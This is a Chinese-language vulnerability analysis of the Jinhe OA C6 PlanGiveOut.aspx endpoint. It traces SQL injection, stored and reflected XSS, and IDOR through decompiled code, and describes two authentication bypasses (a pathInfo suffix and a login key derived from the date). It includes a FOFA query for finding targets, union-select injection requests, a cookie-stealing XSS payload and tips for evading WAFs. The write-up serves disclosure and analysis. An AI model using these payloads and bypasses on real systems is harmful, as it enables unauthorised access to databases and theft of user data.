金和OA C6 PlanGiveOut.aspx SQL注入漏洞+越权访问IDOR漏洞+XSS漏洞
漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 PlanGiveOut.aspx 接口处存在SQL注入漏洞、XSS漏洞、越权访问IDOR漏洞,攻击者除了可以利用SQL注入漏洞获取 数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA”
漏洞分析
攻击链全景

一、鉴权分析
1.1 鉴权方式总览
PlanGiveOut 的鉴权由 四层构成,但实际防护极度薄弱:
① web.config 认证配置
<authentication mode="Windows"> <!-- -->
<forms name="authenticationcookie" <!-- -->
loginUrl="JHSoft.Web.CustomQuery/info.aspx"
protection="All" path="/" timeout="10">
</forms>
</authentication>
<authorization>
<allow users="*"></allow> <!-- 允许所有(已认证)用户 -->
<deny users="?"></deny> <!-- 拒绝匿名用户 -->
</authorization>mode="Windows" 与 <forms> 子节点共存属反常配置,实际由 forms 票据(authenticationcookie)生效。<deny users="?"> 仅拦截匿名用户——只要持有任意有效登录态即放行,不校验角色/模块权限。
② Global.asax 全局鉴权事件为空(Global.cs)
// JHSoftWare.dll → JHSoftWare.Global(Global.asax.cs)
protected void Application_BeginRequest(object sender, EventArgs e)
{
} // Global.cs —— 空实现,请求入口阶段无任何检查
protected void Application_AuthenticateRequest(object sender, EventArgs e)
{
} // Global.cs —— 空实现,认证阶段无任何自定义逻辑Application_BeginRequest(请求最早阶段)与 Application_AuthenticateRequest(认证阶段)均为空方法。系统没有任何自定义鉴权拦截器,鉴权 100% 依赖 ASP.NET 内置机制。
三个已注册 HttpModule(web.config)同样不拦截鉴权:
// JHSoft.CustomQuery.HttpUploadModule.BeginRequest —— 仅处理上传,其余 return
private void Application_BeginRequest(object sender, EventArgs e)
{
string text = context.Request.Path.ToLower();
if (text.IndexOf("uploadfileiframe.aspx") == -1 // :只认上传页
&& text.IndexOf("uploadvideofileiframe.aspx") == -1
&& text.IndexOf("addnewfile.aspx") == -1)
return; // 非上传页直接放行
...
}
// JHWeb.qqfly.Upload.HttpUploadModule.BeginRequest —— 仅处理上传请求体
// JHSoft.Log.LogHttpModule.BeginRequest —— 完全空方法 {}
③ 基类 JHSoft.Base.Page 提供了鉴权方法但未强制调用(Page.cs)
// JHSoft.Base.dll → JHSoft.Base.Page(所有业务页基类)
public class Page : Page // Page.cs
{
protected override void OnLoad(EventArgs e) // Page.cs
{
...
if (HttpContext.Current.Session["UserCode"] != null) // Page.cs
{
string text2 = this.Session["UserCode"].ToString(); // Page.cs
... // 仅读取用户配置(皮肤等),不做鉴权
}
this.OnLoad(e); // Page.cs
}
public bool RoleCtrl(string Role1, string Role2) // Page.cs —— 角色校验(需主动调用)
{
if (this.Session["UserCode"] != null) // Page.cs
text = this.Session["UserCode"].ToString();
if (text == "Admin") flag = true; // Admin 直接放行
...
}
public void KeyCtrl(string keyCode) // Page.cs —— 模块校验(需主动调用)
}RoleCtrl/KeyCtrl 是可选方法,需业务页主动调用才生效。PlanGiveOut 从未调用它们(全文无 RoleCtrl/KeyCtrl),所以第 ③ 层形同虚设。
④ PlanGiveOut 自身无鉴权(PlanGiveOut.cs)
// JHSoft.Web.PlanSummarize.dll → JHSoft.Web.PlanSummarize.PlanGiveOut
protected void Page_Load(object sender, EventArgs e) // PlanGiveOut.cs
{
...
if (this.Session["UserCode"] != null) // PlanGiveOut.cs —— 仅"读取",非校验
this.strUserID = this.Session["UserCode"].ToString(); // PlanGiveOut.cs
...
this.ShowPlanInfo(this.strPlanID); // PlanGiveOut.cs —— 直接进入业务逻辑
}Page_Load 仅读取 Session["UserCode"](第 212-214 行),没有用它做任何权限判断。strUserID 取了值却在 ShowPlanInfo 中完全未参与 SQL 过滤(详见 2.3 IDOR)。
1.2 鉴权绕过
系统存在 两条独立的鉴权绕过路径,使 PlanGiveOut 的所有漏洞升级为未授权可达。
绕过方式 A:pathInfo 鉴权绕过(零成本,全站性)
现象(实测):/PlanGiveOut.aspx 与 /PlanGiveOut.aspx/(带尾斜杠)返回 302 跳登录;而 /PlanGiveOut.aspx/Planselect、/PlanGiveOut.aspx/PlanGiveOut、/PlanGiveOut.aspx/任意字符 不触发鉴权,直接响应。
根因:IIS 集成模式 + ASP.NET 4.x 下,带 pathInfo(.aspx/附加路径)的 URL 在 AuthorizeRequest 阶段的鉴权判定与纯页面 URL 不一致,<deny users="?"> 规则匹配不到带 pathInfo 的请求。
关键佐证(web.config):
<pages validateRequest="false" enableEventValidation="false"
enableViewStateMac="false"></pages> <!-- 三防护全关 -->
<httpRuntime requestValidationMode="2.0" .../> <!-- -->
<validation validateIntegratedModeConfiguration="false"/> <!-- 关闭集成模式校验 -->关键性质:绕过与附加路径内容无关,只要存在 .aspx/yyy 结构即生效——PlanGiveOut 代码中无任何 [WebMethod],因此 /Planselect、/PlanGiveOut 并非调用特定方法,而是 pathInfo 结构本身让鉴权模块"看不见"该请求需鉴权。由于 Global.cs、三个 HttpModule、基类均不拦截 .aspx/(1.1 节已逐层确证),此绕过为全站性,适用于任意 .aspx 页面。
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x → 绕过 <deny users="?"> ,未授权直达
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx → 正常鉴权,302 跳登录
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/ → 尾斜杠被规范化,无 pathInfo,302 跳登录绕过方式 B:LoginByURL 日期密钥免密登录
入口:Jhsoft.Web.login/LoginByURL.aspx → LoginByURL.cs(JHSoft.Web.Login.dll)。
Decryptstr 方法用当天日期派生 AES 密钥(LoginByURL.cs):
// LoginByURL.cs
byte[] bytes = Encoding.Default.GetBytes(
DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd"));
// IV = 当天日期重复 2 次,如 "2026072920260729"(16 字节)
byte[] bytes2 = Encoding.Default.GetBytes(
DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd")
+ DateTime.Now.ToString("yyyyMMdd") + DateTime.Now.ToString("yyyyMMdd"));
// Key = 当天日期重复 4 次,如 "20260729"×4(32 字节)
aES.CreateKey(bytes2, bytes); // 用完全可预测的密钥解密登录凭据AES 类(JHSoft.CustomQuery.dll → AES.cs)是标准 Rijndael,CreateKey 直接采用传入 Key/IV,无 KDF、无加盐:
// AES.cs
public void CreateKey(byte[] keyInfo, byte[] IVInfo)
{
rij = Rijndael.Create(); // AES.cs
rij.IV = IVInfo; // AES.cs —— 直接用传入 IV
rij.Key = keyInfo; // AES.cs —— 直接用传入 Key
}攻击者(已知当天日期)本地计算 Key/IV
→ AES 加密 "username=password=timestamp(当前时间)"
→ GET /Jhsoft.Web.login/LoginByURL.aspx?<Base64密文>
↓ LoginByURL.cs Decryptstr 用【相同日期密钥】解密 → "Yes"
↓ LoginByURL.cs roles.GetUserID(username) 取真实用户ID
↓ LoginByURL.cs 签发 FormsAuthenticationTicket(600 分钟有效)
↓ LoginByURL.cs FormsAuthentication.Encrypt → 写 authenticationcookie
↓ LoginByURL.cs CreateSession(text)
↓ CreateSession → LoginByURL.cs Session["UserCode"] = 该用户UserID
→ 攻击者获得有效登录态
时间校验仅 ±1 分钟(LoginByURL.cs),即时生成即时使用即可,不构成障碍。

二、代码分析
2.1 入口文件与反编译定位
PlanGiveOut.aspx (前台)
└─ Inherits="JHSoft.Web.PlanSummarize.PlanGiveOut"
└─ 编译于 JHSoft.Web.PlanSummarize.dll → 反编译得 PlanGiveOut.cs
└─ 数据访问调用 DBOperatorFactory.GetDBOperator()
└─ JHSoft.IDAL.dll → SqlDBOperator(实现类)Page_Load(PlanGiveOut.cs)从请求取参数、调用 ShowPlanInfo:
protected void Page_Load(object sender, EventArgs e)
{
if (this.Request.QueryString["isCopy"] != null) // —— 反射XSS Source
this.isreadonly = this.Request.QueryString["isCopy"]; // —— 原样赋值无校验
...
if (this.Request["planid"] != null) // —— SQL注入 Source
this.strPlanID = this.Request["planid"].ToString(); // if (this.Session["UserCode"] != null) // this.strUserID = this.Session["UserCode"].ToString(); // —— 取了但查询不用
if (this.Request["httpOID"] != null) // —— 第二个注入 Source
{
this.strPlanID = this.Request["httpOID"].ToString(); // —— 覆盖 planid
this.strHttpOID = this.strPlanID;
}
this.ShowPlanInfo(this.strPlanID); // —— 进入注入 Sink
}2.2 反编译关键 DLL — SQL 注入 Sink 追踪
ShowPlanInfo(PlanGiveOut.cs)将 strPlanID 直接字符串拼接进 SQL:
private void ShowPlanInfo(string strPlanID) // PlanGiveOut.cs
{
DBOperator dBOperator = DBOperatorFactory.GetDBOperator(); // empty = " select UserID,username,planyear,... from [plan] left join ...";
empty = empty + " where planid=" + strPlanID; // —— 注入点①(数字型)
empty = empty + " select * from plancontent where planfatherid="
+ strPlanID + " order by plancontent.PlanID asc"; // —— 注入点②(数字型)
dataSet = dBOperator.ExecSQLReDataSet(empty); // —— 执行
...
// 二阶注入(来自首次查询结果)
empty = "select * from PlanContent where PlanContent.PlanFatherID=(";
empty = empty + " select top 1 PlanID from [Plan] where PlanFlag=" + text3
+ " and PlanYear=" + array[0]
+ " and PlanMonW=" + array[1]
+ " and RegCode='" + text6 + "' and PlanTypeID=" + text2 + ")"; // —— 注入点③
dataTable = dBOperator.ExecSQLReDataTable(empty); // }逐层下沉到 SqlDBOperator(JHSoft.IDAL.dll),确证 零参数化:
// SqlDBOperator.cs
public override DataSet ExecSQLReDataSet(string QueryString) // {
DataSet dataSet = new DataSet();
ReturnMethord returnResult = ReturnDataSet;
ExecSQL(QueryString, dataSet, returnResult); // return dataSet;
}
private object ExecSQLNotInTrans(string QueryString, ...) // {
...
comm = new SqlCommand(QueryString, conn); // —— QueryString 即完整SQL
comm.CommandType = CommandType.Text; // —— 纯文本命令
...
ReValue = ReturnResult(comm, ReValue); // }
private object ReturnDataSet(SqlCommand comm, object ReValue) // {
SqlDataAdapter val = new SqlDataAdapter(comm);
((DataAdapter)val).Fill(ReValue as DataSet); // —— Fill 支持批处理
return ReValue;
}Sink 确证:new SqlCommand(QueryString, conn)直接吞下拼接好的 SQL 字符串,CommandType.Text按原始 SQL 解析,SqlDataAdapter.Fill(DataSet)执行。整条链路无任何参数化绑定。

2.3 存在的漏洞点
漏洞 1:SQL 注入(严重,Critical)
支持方式:因
Request["planid"]为通用索引器(QueryString → Form → Cookies),GET / POST / Cookie 三种方式均可注入。支持手法:
Fill(DataSet)支持批处理(第 246-247 行拼了两条 select,中间无分号即被分入两个 Table),故联合查询注入与堆叠注入均可。类型校验在注入之后:
int.Parse(text4)在ExecSQLReDataSet之后执行,注入已完成,后续异常不影响效果。
漏洞 2:存储型 XSS(高)
PlanGiveOut.aspx 用 <%= %>(Response.Write 等价)输出 数据库字段,仅 Replace("\n","<br>")、无 HTML 编码:
写入入口为计划录入页(WorkPlanAdd.aspx 等),写入后被本页未编码输出,触发于任何查看者(含领导/管理员)。
漏洞 3:反射型 XSS(高)— isCopy
Source(PlanGiveOut.cs):
if (this.Request.QueryString["isCopy"] != null) // —— 仅 QueryString
this.isreadonly = this.Request.QueryString["isCopy"]; // —— 无白名单校验Sink(PlanGiveOut.aspx):
<body ... onselectstart="return !<%=isreadonly%>">注入 ?isCopy=false;alert(document.cookie)// → 渲染为 onselectstart="return !false;alert(...)//" 触发执行。该参数只能经 GET(明确用 QueryString)。
漏洞 4:越权访问 IDOR(高)
strUserID取自 Session["UserCode"],但 ShowPlanInfo 的 SQL 完全未用 strUserID 做归属过滤(where planid=strPlanID)。任意已登录用户枚举 planid 即可越权查看他人/他部门的计划、总结、领导批示。
2.4 参数获取方式 / 请求方式分析
漏洞的可利用性首先取决于"参数从哪种 HTTP 请求里取"。ASP.NET 提供了多个取值 API,它们能触达的请求通道完全不同。本节逐参数对照源码确证。
2.4.1 ASP.NET 取值 API 的通道差异(原理)
关键区别:Request["k"](通用索引器)不区分通道,会按固定顺序遍历所有集合。这意味着只要代码用它取参,攻击者就能选择最隐蔽的通道注入(如 Cookie,WAF 常不检查)。
2.4.2 逐参数对照源码
PlanGiveOut.Page_Load 中每个 Source 参数的读取方式:
源码印证(PlanGiveOut.cs 的 Page_Load):
// —— 通用索引器(多通道):SQL 注入面
if (this.Request["planid"] != null) // GET/POST/Cookie 均可
this.strPlanID = this.Request["planid"].ToString();
if (this.Request["httpOID"] != null) // GET/POST/Cookie 均可
this.strPlanID = this.Request["httpOID"].ToString();
// —— 仅 QueryString(单通道):反射 XSS 面
if (this.Request.QueryString["isCopy"] != null) // 只能 GET
this.isreadonly = this.Request.QueryString["isCopy"];注意
planid与httpOID的覆盖关系:httpOID在planid之后读取,若两者同传,httpOID会覆盖planid。但两者都走通用索引器,注入通道一致,对攻击者无差别。
2.4.3 各通道的实际利用方式
① GET(URL 参数) — 最直接,但最易被 WAF/日志捕获:
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?planid=1%20union%20select%20... HTTP/1.1
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?isCopy=false;alert(1)// HTTP/1.1② POST(请求体) — Request[] 同样接收,即使前端表单无该字段:
POST /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x HTTP/1.1
Content-Type: application/x-www-form-urlencoded
planid=1 union select ...③ Cookie 注入 — Request[] 会查找 Cookies 集合,隐蔽性最强(URL 干净,常绕过只检 URL 的 WAF/IDS):
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x HTTP/1.1
Cookie: planid=1 union select ...;④ 反射型 XSS 的限制:isCopy 用 Request.QueryString,只能 GET。无法通过 POST/Cookie 触发该 XSS。
结论:
SQL 注入 / IDOR(
planid、httpOID):走Request[]通用索引器,GET、POST、Cookie 三通道均可。其中 Cookie 注入最隐蔽,是金和 OA 这类老系统(普遍用Request[])的典型绕 WAF 手法。反射型 XSS(
isCopy):走Request.QueryString,仅 GET 单通道。结合 1.2 节 pathInfo 绕过,任一通道均可叠加
/x后缀实现未授权利用。
2.5 结合鉴权绕过的未授权利用
经 1.2 节绕过后,上述漏洞全部未授权可达:
GET /JHSoft.Web.PlanSummarize/PlanGiveOut.aspx/x?planid=1 union select ...
↑ pathInfo 绕过鉴权(零成本) ↑ 未授权 SQL 注入或经 LoginByURL 获得登录态后访问 /PlanGiveOut.aspx?planid=...。两条绕过路径均使 PlanGiveOut 的 SQL 注入、IDOR、XSS 降级为未授权可达,无需任何账号凭据。